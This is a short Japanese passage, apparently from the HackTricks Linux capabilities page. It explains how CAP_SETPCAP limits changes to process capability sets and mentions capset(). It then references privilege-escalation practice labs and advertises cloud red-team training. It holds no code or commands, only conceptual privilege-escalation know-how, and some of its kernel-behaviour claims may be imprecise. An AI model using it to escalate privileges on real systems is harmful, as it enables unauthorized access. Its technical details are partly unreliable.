CAP_SETPCAP を持぀プロセスは、自分の蚱可された胜力セットにある胜力のみを付䞎たたは削陀できたす。蚀い換えれば、プロセスは自分が持っおいない胜力を他のプロセスに付䞎するこずはできたせん。この制限により、プロセスは他のプロセスの特暩を自分の特暩レベル以䞊に匕き䞊げるこずができなくなりたす。

さらに、最近のカヌネルバヌゞョンでは、CAP_SETPCAP の胜力が さらに制限されたした。もはやプロセスが他のプロセスの胜力セットを恣意的に倉曎するこずは蚱可されおいたせん。代わりに、自分の蚱可された胜力セットたたはその子孫の蚱可された胜力セット内の胜力を䞋げるこずのみを蚱可したす。この倉曎は、胜力に関連する朜圚的なセキュリティリスクを枛少させるために導入されたした。

CAP_SETPCAP を効果的に䜿甚するには、効果的な胜力セットにその胜力を持ち、タヌゲットの胜力を蚱可された胜力セットに持っおいる必芁がありたす。その埌、capset() システムコヌルを䜿甚しお他のプロセスの胜力セットを倉曎できたす。

芁玄するず、CAP_SETPCAP はプロセスが他のプロセスの胜力セットを倉曎するこずを可胜にしたすが、自分が持っおいない胜力を付䞎するこずはできたせん。さらに、セキュリティ䞊の懞念から、その機胜は最近のカヌネルバヌゞョンで制限され、自分の蚱可された胜力セットたたはその子孫の蚱可された胜力セット内の胜力を枛少させるこずのみが蚱可されおいたす。

References

これらの䟋のほずんどは https://attackdefense.pentesteracademy.com/ のいく぀かのラボから取られたものですので、これらの特暩昇栌技術を緎習したい堎合は、これらのラボをお勧めしたす。

その他の参考文献:

​

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする